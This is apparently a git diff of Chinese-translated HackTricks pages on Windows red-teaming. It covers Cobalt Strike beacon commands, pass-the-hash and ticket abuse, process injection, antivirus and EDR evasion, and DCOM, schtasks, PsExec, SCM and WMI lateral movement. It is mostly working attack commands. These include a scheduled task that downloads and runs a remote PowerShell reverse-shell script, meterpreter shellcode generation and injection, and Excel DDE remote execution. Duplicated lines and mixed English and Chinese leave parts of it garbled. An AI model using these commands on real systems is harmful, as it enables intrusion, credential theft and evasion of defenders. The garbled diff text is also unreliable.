rev2self # 停止使用steal_token的令牌
## 使用新凭据启动进程
spawnas [domain\username] [password] [listener] # 从具有读取权限的目录执行例如cd C:\
## 类似于make_token这将生成Windows事件4624户成功登录但登录类型为2LOGON32_LOGON_INTERACTIVE。它将详细说明调用用户TargetUserName和冒充用户TargetOutboundUserName
spawnas [domain\username] [password] [listener] # 从具有读取访问权限的目录执行例如cd C:\
## 类似于make_token这将生成Windows事件4624户成功登录但登录类型为2LOGON32_LOGON_INTERACTIVE。它将详细说明调用用户TargetUserName和冒充用户TargetOutboundUserName
## 注入进程
## 注入进程
inject [pid] [x64|x86] [listener]
## 从OpSec的角度来看除非真的有必要否则不要执行跨平台注入例如x86 -> x64或x64 -> x86
## 传递哈希
## 此修改过程需要对LSASS内存进行修补这是一个高风险操作需要本地管理员权限并且如果启用了受保护进程轻量级PPL则不太可行。
## 此修改过程需要修补LSASS内存这是一个高风险操作需要本地管理员权限并且如果启用了受保护进程轻量级PPL则不太可行。
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
@ -97,8 +102,9 @@ steal_token <pid> # 从mimikatz创建的进程中窃取令牌
## 传递票证
## 请求票证
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
## 创建一个新的登录会话以使用新票证(以免覆盖被攻陷的票证)
## 创建一个新的登录会话以与新票证一起使用(以免覆盖被破坏的票证)
make_token <domain>\<username> DummyPass
## 从powershell会话中将票证写入攻击者机器并加载
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
@ -122,28 +128,28 @@ execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket.
### 最后,从新进程中窃取令牌
steal_token <pid>
# Lateral Movement
# 横向移动
## 如果创建了令牌,将会使用它
jump [method] [target] [listener]
## 方法:
## psexec x86 使用服务运行服务EXE工件
## psexec64 x64 使用服务运行服务EXE工件
## psexec_psh x86 使用服务运行PowerShell一行代码
## psexec_psh x86 使用服务运行PowerShell单行命令
## winrm x86 通过WinRM运行PowerShell脚本
## winrm64 x64 通过WinRM运行PowerShell脚本
## wmi_msbuild x64 使用msbuild内联C#任务进行wmi横向移动oppsec
remote-exec [method] [target] [command]
remote-exec [method] [target] [command] # remote-exec不返回输出
## 方法:
<strong>## psexec 通过服务控制管理器远程执行
</strong>## winrm 通过WinRMPowerShell远程执行
## psexec 通过服务控制管理器远程执行
## winrm 通过WinRMPowerShell远程执行
## wmi 通过WMI远程执行
## 要使用wmi执行信标它不在jump命令中只需上传信标并执行
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
# Pass session to Metasploit - Through listener
# 将会话传递给Metasploit - 通过监听器
## 在metaploit主机上
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
@ -155,7 +161,7 @@ msf6 exploit(multi/handler) > exploit -j
beacon> spawn metasploit
## 您只能使用外部监听器生成x86 Meterpreter会话。
# Pass session to Metasploit - Through shellcode injection
# 将会话传递给Metasploit - 通过shellcode注入
## 在metasploit主机上
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
## 运行msfvenom并准备multi/handler监听器
@ -164,62 +170,189 @@ msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw
ps
shinject <pid> x64 C:\Payloads\msf.bin # 在x64进程中注入metasploit shellcode
# Pass metasploit session to cobalt strike
## 生成无阶段的Beacon shellcode转到Attacks > Packages > Windows Executable (S)选择所需的监听器选择Raw作为输出类型并选择使用x64有效负载。
## 在metasploit中使用post/windows/manage/shellcode_inject注入生成的cobalt strike shellcode
# 将metasploit会话传递给cobalt strike
## 生成无状态信标shellcode转到Attacks > Packages > Windows Executable (S)选择所需的监听器选择Raw作为输出类型并选择使用x64有效负载。
## 在metasploit中使用post/windows/manage/shellcode_inject注入生成的cobalt strike shellcode
# Pivoting
# 代理
## 在teamserver中打开socks代理
beacon> socks 1080
# SSH connection
# SSH连接
beacon> ssh 10.10.17.12:22 username password</code></pre>
## Avoiding AVs
## Opsec
### Artifact Kit
### 执行程序集
通常在`/opt/cobaltstrike/artifact-kit`您可以找到cobalt strike将用于生成二进制信标的代码和预编译模板`/src-common`中)。
**`execute-assembly`** 使用**牺牲进程**通过远程进程注入来执行指定程序。这是非常嘈杂的因为要在进程内部注入使用了每个EDR都在检查的某些Win API。然而有一些自定义工具可以用来在同一进程中加载某些内容
使用[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)与生成的后门(或仅使用编译的模板),您可以找到触发防御者的原因。通常是一个字符串。因此,您可以修改生成后门的代码,以便该字符串不会出现在最终的二进制文件中。
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
- 在Cobalt Strike中您还可以使用BOF信标对象文件[https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
agressor脚本 `https://github.com/outflanknl/HelpColor` 将在Cobalt Strike中创建 `helpx` 命令该命令将在命令中添加颜色指示它们是否是BOFs绿色、是否是Frok&Run黄色及类似情况或者是否是ProcessExecution、注入或类似情况红色。这有助于了解哪些命令更隐蔽。
### 作为用户操作
您可以检查事件,如 `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`
- 安全EID 4624 - 检查所有交互式登录以了解通常的操作时间。
- 系统EID 12,13 - 检查关机/启动/睡眠频率。
- 安全EID 4624/4625 - 检查有效/无效的NTLM尝试。
- 安全EID 4648 - 当使用明文凭据登录时,会生成此事件。如果是进程生成的,则该二进制文件可能在配置文件或代码中以明文形式包含凭据。
在使用Cobalt Strike的 `jump` 时,最好使用 `wmi_msbuild` 方法使新进程看起来更合法。
### 使用计算机帐户
防御者通常会检查用户生成的奇怪行为,并**将服务帐户和计算机帐户如`*$`排除在监控之外**。您可以使用这些帐户进行横向移动或权限提升。
### 使用无状态有效负载
无状态有效负载比有状态有效负载噪音更小因为它们不需要从C2服务器下载第二阶段。这意味着在初始连接后不会生成任何网络流量从而降低被基于网络的防御检测到的可能性。
### 令牌和令牌存储
在窃取或生成令牌时要小心因为EDR可能会枚举所有线程的所有令牌并找到**属于不同用户**甚至SYSTEM的令牌。
这允许按**信标**存储令牌,因此不需要一次又一次地窃取相同的令牌。这对于横向移动或当您需要多次使用窃取的令牌时非常有用:
- token-store steal <pid>
- token-store steal-and-use <pid>
- token-store show
- token-store use <id>
- token-store remove <id>
- token-store remove-all
在横向移动时,通常**窃取令牌比生成新令牌更好**或执行传递哈希攻击。
### 防护措施
Cobalt Strike有一个名为**Guardrails**的功能可以帮助防止使用某些可能被防御者检测到的命令或操作。可以配置Guardrails以阻止特定命令例如`make_token``jump``remote-exec`和其他常用于横向移动或权限提升的命令。
此外repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) 还包含一些检查和建议,您可以在执行有效负载之前考虑。
### 票证加密
在AD中要小心票证的加密。默认情况下一些工具将使用RC4加密Kerberos票证这比AES加密安全性低默认情况下最新环境将使用AES。这可能会被监控弱加密算法的防御者检测到。
### 避免默认设置
使用Cobalt Strike时默认情况下SMB管道将命名为`msagent_####``"status_####`。更改这些名称。可以使用命令 `ls \\.\pipe\` 检查Cobalt Strike中现有管道的名称。
此外使用SSH会话时会创建一个名为`\\.\pipe\postex_ssh_####`的管道。使用 `set ssh_pipename "<new_name>";` 更改它。
在后期利用攻击中,管道 `\\.\pipe\postex_####` 可以使用 `set pipename "<new_name>"` 进行修改。
在Cobalt Strike配置文件中您还可以修改以下内容
- 避免使用 `rwx`
- 进程注入行为的工作方式将使用哪些API`process-inject {...}` 块中
- “fork and run”在 `post-ex {…}` 块中的工作方式
- 睡眠时间
- 要加载到内存中的二进制文件的最大大小
- 内存占用和DLL内容与 `stage {...}`
- 网络流量
### 绕过内存扫描
一些EDR扫描内存以查找已知恶意软件签名。Cobalt Strike允许修改 `sleep_mask` 函数作为BOF这将能够在内存中加密后门。
### 嘈杂的进程注入
在进程中注入代码通常是非常嘈杂的,因为**没有常规进程通常执行此操作,并且执行此操作的方法非常有限**。因此它可能会被基于行为的检测系统检测到。此外它还可能被EDR检测到后者扫描网络以查找**包含不在磁盘上的代码的线程**尽管使用JIT的浏览器等进程通常会这样做。示例[https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
### Spawnas | PID和PPID关系
在生成新进程时,保持**常规的父子**关系以避免检测非常重要。如果svchost.exec正在执行iexplorer.exe它看起来会很可疑因为svchost.exe在正常的Windows环境中不是iexplorer.exe的父进程。
当在Cobalt Strike中生成新的信标时默认情况下会创建一个使用**`rundll32.exe`**的进程来运行新的监听器。这并不是很隐蔽容易被EDR检测到。此外`rundll32.exe`在没有任何参数的情况下运行,使其更加可疑。
使用以下Cobalt Strike命令您可以指定一个不同的进程来生成新的信标从而使其更不易被检测到
```bash
spawnto x86 svchost.exe
```
您还可以在配置文件中更改此设置 **`spawnto_x86``spawnto_x64`**。
### 代理攻击者流量
攻击者有时需要能够在本地运行工具,即使在 Linux 机器上,并使受害者的流量到达该工具(例如 NTLM 中继)。
此外,有时进行 pass-the-hash 或 pass-the-ticket 攻击时,攻击者在本地 **将此哈希或票证添加到自己的 LSASS 进程中** 会更隐蔽,然后从中进行横向移动,而不是修改受害者机器的 LSASS 进程。
然而,您需要 **小心生成的流量**因为您可能会从后门进程发送不常见的流量kerberos。为此您可以切换到浏览器进程尽管您可能会因注入到进程中而被抓住因此请考虑一种隐蔽的方式来做到这一点
```bash
### Avoiding AVs
#### AV/AMSI/ETW Bypass
Check the page:
{{#ref}}
av-bypass.md
{{#endref}}
#### Artifact Kit
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
修改代码后,只需从同一目录运行`./build.sh`,并将`dist-pipe/`文件夹复制到Windows客户端的`C:\Tools\cobaltstrike\ArtifactKit`中。
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
不要忘记加载激进脚本 `dist-pipe\artifact.cna` 以指示 Cobalt Strike 使用我们想要的磁盘资源,而不是加载的资源。
### 资源包
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
ResourceKit 文件夹包含 Cobalt Strike 基于脚本的有效载荷模板,包括 PowerShell、VBA 和 HTA。
#### Resource Kit
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
使用 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) 和模板,您可以找到防御者(在这种情况下是 AMSI不喜欢的内容并进行修改
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
修改检测到的行可以生成一个不会被捕获的模板。
不要忘记加载激进脚本 `ResourceKit\resources.cna`,以指示 Cobalt Strike 使用我们想要的磁盘资源,而不是加载的资源。
Modifying the detected lines one can generate a template that won't be caught.
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
#### Function hooks | Syscall
Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
This can be set in the profile or suing the command **`syscall-method`**
However, this could also be noisy.
Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
http://localhost:7474/ --> 更改密码
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Change powershell
# 更改 powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# 更改 $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```

View File

@ -10,6 +10,8 @@
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**RDPexec**](rdpexec.md)
- [**SCMexec**](scmexec.md)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)

View File

@ -18,10 +18,18 @@ schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
您还可以使用 [SharpLateral](https://github.com/mertdas/SharpLateral)
您可以使用 **Impacket的 `atexec.py`** 通过 AT 命令在远程系统上执行命令。这需要目标系统的有效凭据(用户名和密码或哈希)。
```bash
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
```
您还可以使用 [SharpLateral](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
您可以使用 [SharpMove](https://github.com/0xthirteen/SharpMove)
```bash
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
```
有关[**使用 schtasks 和银票的更多信息在这里**](../active-directory-methodology/silver-ticket.md#host)。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,25 +6,25 @@
**有关此技术的更多信息,请查看原始帖子 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
分布式组件对象模型DCOM对象为基于网络的对象交互提供了有趣的能力。微软为DCOM和组件对象模型COM提供了全面的文档分别可以在 [此处获取DCOM文档](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 [此处获取COM文档](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>)。可以使用PowerShell命令检索DCOM应用程序列表
分布式组件对象模型DCOM对象为基于网络的对象交互提供了有趣的能力。微软为DCOM和组件对象模型COM提供了全面的文档分别可以在 [这里查看DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 [这里查看COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>)。可以使用PowerShell命令检索DCOM应用程序列表
```bash
Get-CimInstance Win32_DCOMApplication
```
COM对象[MMC应用程序类MMC20.Application](https://technet.microsoft.com/en-us/library/cc181199.aspx)使得MMC插件操作的脚本化成为可能。值得注意的是该对象在`Document.ActiveView`下包含一个`ExecuteShellCommand`方法。有关此方法的更多信息,请参见[这里](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>)。检查它的运行:
COM对象[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)使得MMC插件操作的脚本化成为可能。值得注意的是该对象在`Document.ActiveView`下包含一个`ExecuteShellCommand`方法。有关此方法的更多信息,请参见[这里](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>)。检查运行:
此功能通过DCOM应用程序促进了通过网络执行命令。要以管理员身份远程与DCOM交互可以使用PowerShell如下所示
```powershell
```bash
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
此命令连接到 DCOM 应用程序并返回 COM 对象的实例。然后可以调用 ExecuteShellCommand 方法在远程主机上执行进程。该过程涉及以下步骤:
检查方法:
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
获取 RCE
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
@ -36,27 +36,32 @@ ls \\10.10.10.10\c$\Users
**有关此技术的更多信息,请查看原始帖子 [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
**MMC20.Application** 对象被发现缺乏明确的 "LaunchPermissions",默认为允许管理员访问的权限。有关更多详细信息,可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程,并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
**MMC20.Application** 对象被识别为缺乏明确的 "LaunchPermissions",默认权限允许管理员访问。有关更多详细信息,可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程,并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
两个特定对象,`ShellBrowserWindow``ShellWindows`,因缺乏明确的启动权限而被强调。`HKCR:\AppID\{guid}` 下缺少 `LaunchPermission` 注册表项表示没有明确的权限。
### ShellWindows
对于缺乏 ProgID 的 `ShellWindows`可以使用 .NET 方法 `Type.GetTypeFromCLSID``Activator.CreateInstance` 通过其 AppID 进对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化可以通过 `WindowsShell.Item` 方法进行交互,从而调用方法,如 `Document.Application.ShellExecute`
对于缺乏 ProgID 的 `ShellWindows`.NET 方法 `Type.GetTypeFromCLSID``Activator.CreateInstance` 通过其 AppID 进对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化可以通过 `WindowsShell.Item` 方法进行交互,从而调用方法,如 `Document.Application.ShellExecute`
提供了示例 PowerShell 命令以实例化对象并远程执行命令:
```powershell
```bash
# Example
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
```
### 使用 Excel DCOM 对象进行横向移动
横向移动可以通过利用 DCOM Excel 对象来实现。有关详细信息,建议阅读 [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) 上关于通过 DCOM 利用 Excel DDE 进行横向移动的讨论。
# Need to upload the file to execute
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
```
### Lateral Movement with Excel DCOM Objects
侧向移动可以通过利用 DCOM Excel 对象来实现。有关详细信息,建议阅读关于通过 DCOM 利用 Excel DDE 进行侧向移动的讨论,见 [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)。
Empire 项目提供了一个 PowerShell 脚本,演示了通过操纵 DCOM 对象利用 Excel 进行远程代码执行 (RCE)。以下是来自 [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) 的脚本片段,展示了滥用 Excel 进行 RCE 的不同方法:
```powershell
```bash
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
@ -78,23 +83,35 @@ $Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
```
### 侧向移动的自动化工具
### Automation Tools for Lateral Movement
两个工具被强调用于自动化这些技术:
- **Invoke-DCOM.ps1**由Empire项目提供的PowerShell脚本简化了在远程机器上执行代码的不同方法的调用。该脚本可以在Empire GitHub存储库中访问。
- **Invoke-DCOM.ps1**: 由Empire项目提供的PowerShell脚本简化了在远程机器上执行代码的不同方法的调用。该脚本可以在Empire GitHub存储库中访问。
- **SharpLateral**:一个用于远程执行代码的工具,可以使用以下命令:
- **SharpLateral**: 一种用于远程执行代码的工具,可以使用以下命令:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
- [SharpMove](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## 自动化工具
- Powershell 脚本 [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) 允许轻松调用所有注释的在其他机器上执行代码的方法。
- Powershell 脚本 [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) 允许轻松调用所有注释的方式在其他机器上执行代码。
- 你可以使用 Impacket 的 `dcomexec.py` 在远程系统上使用 DCOM 执行命令。
```bash
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
```
- 你也可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
- 你也可以使用 [**SharpMove**](https://github.com/0xthirteen/SharpMove)
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## 参考
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)

View File

@ -1,4 +1,4 @@
# PsExec/Winexec/ScExec
# PsExec/Winexec/ScExec/SMBExec
{{#include ../../banners/hacktricks-training.md}}
@ -9,28 +9,41 @@
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**
2. **在远程机器上创建服务**,指向该二进制文件。
3. 服务被 **远程启动**
4. 退出时,服务被 **停止,二进制文件被删除**。
4. 退出时,服务被 **停止,并删除二进制文件**。
### **手动执行 PsExec 的过程**
假设有一个可执行有效载荷(使用 msfvenom 创建并使用 Veil 混淆以规避防病毒检测),名为 'met8888.exe',代表一个 meterpreter reverse_http 有效载荷,采取以下步骤:
- **复制二进制文件**:可执行文件从命令提示符复制到 ADMIN$ 共享,尽管它可以放置在文件系统的任何位置以保持隐蔽。
- 除了复制二进制文件,还可以使用 LOLBAS 二进制文件,如 `powershell.exe``cmd.exe`,直接从参数执行命令。例如 `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **创建服务**:利用 Windows `sc` 命令,该命令允许远程查询、创建和删除 Windows 服务,创建一个名为 "meterpreter" 的服务,指向上传的二进制文件。
- **启动服务**:最后一步启动服务,这可能会导致 "超时" 错误,因为该二进制文件不是一个真正的服务二进制文件,未能返回预期的响应代码。此错误无关紧要,因为主要目标是执行该二进制文件。
- **启动服务**:最后一步涉及启动服务,这可能会导致 "超时" 错误,因为该二进制文件不是一个真正的服务二进制文件,未能返回预期的响应代码。此错误无关紧要,因为主要目标是执行该二进制文件。
观察 Metasploit 监听器将显示会话已成功启动。
[了解更多关于 `sc` 命令的信息](https://technet.microsoft.com/en-us/library/bb490995.aspx)。
此查找更详细的步骤: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
这里找到更详细的步骤: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**您还可以使用 Windows Sysinternals 二进制文件 PsExec.exe**
- 您还可以使用 **Windows Sysinternals 二进制文件 PsExec.exe**
![](<../../images/image (928).png>)
您还可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral)
或通过 webddav 访问它:
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
```
- 你也可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- 你也可以使用 [**SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- 你也可以使用 **Impacket的 `psexec` 和 `smbexec.py`**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,15 @@
# RDPexec
{{#include ../../banners/hacktricks-training.md}}
## 工作原理
**RDPexec** 基本上是通过 RDP 登录系统来执行命令。
有关更多信息,请查看:
{{#ref}}
../../network-services-pentesting/pentesting-rdp.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,15 @@
# DCOM Exec
{{#include ../../banners/hacktricks-training.md}}
## SCM
**SCMExec** 是一种使用服务控制管理器SCM在远程系统上执行命令的技术通过创建一个运行该命令的服务来实现。此方法可以绕过一些安全控制例如用户帐户控制UAC和Windows Defender。
## Tools
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,37 +0,0 @@
# SmbExec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## 工作原理
**Smbexec** 是一个用于在 Windows 系统上进行远程命令执行的工具,类似于 **Psexec**,但它避免在目标系统上放置任何恶意文件。
### 关于 **SMBExec** 的关键点
- 它通过在目标机器上创建一个临时服务例如“BTOBTO”来通过 cmd.exe (%COMSPEC%) 执行命令,而不放置任何二进制文件。
- 尽管采用隐蔽的方法但它确实为每个执行的命令生成事件日志提供了一种非交互式的“shell”。
- 使用 **Smbexec** 连接的命令如下所示:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
### 执行无二进制文件的命令
- **Smbexec** 通过服务 binPaths 直接执行命令,消除了在目标上需要物理二进制文件的需求。
- 这种方法对于在 Windows 目标上执行一次性命令非常有用。例如,将其与 Metasploit 的 `web_delivery` 模块配对,可以执行针对 PowerShell 的反向 Meterpreter 有效载荷。
- 通过在攻击者的机器上创建一个远程服务,并将 binPath 设置为通过 cmd.exe 运行提供的命令,可以成功执行有效载荷,实现回调和有效载荷执行与 Metasploit 监听器,即使发生服务响应错误。
### 命令示例
创建和启动服务可以通过以下命令完成:
```bash
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
```
有关更多详细信息,请查看 [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## 参考文献
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@
### 命名空间
WMI 的顶级容器是 \root按照目录式层次结构组织,下面有称为命名空间 的其他目录。
WMI 的顶级容器是 \root结构呈目录式层次,下面组织着称为命名空间 的其他目录。
列出命名空间的命令:
```bash
# Retrieval of Root namespaces
@ -89,7 +89,7 @@ wmic sysaccount list /format:list
### **手动远程 WMI 查询**
可以通过特定的 WMI 查询隐秘地识别远程机上的本地管理员和登录用户。`wmic` 还支持从文本文件读取,以便同时在多个节点上执行命令。
可以通过特定的 WMI 查询隐秘地识别远程计算机上的本地管理员和登录用户。`wmic` 还支持从文本文件读取,以便同时在多个节点上执行命令。
要通过 WMI 远程执行一个进程,例如部署 Empire 代理,使用以下命令结构,成功执行的返回值为 "0"
```bash
@ -97,14 +97,28 @@ wmic /node:hostname /user:user path win32_process call create "empire launcher s
```
这个过程展示了WMI远程执行和系统枚举的能力突显了它在系统管理和渗透测试中的实用性。
## 参考文献
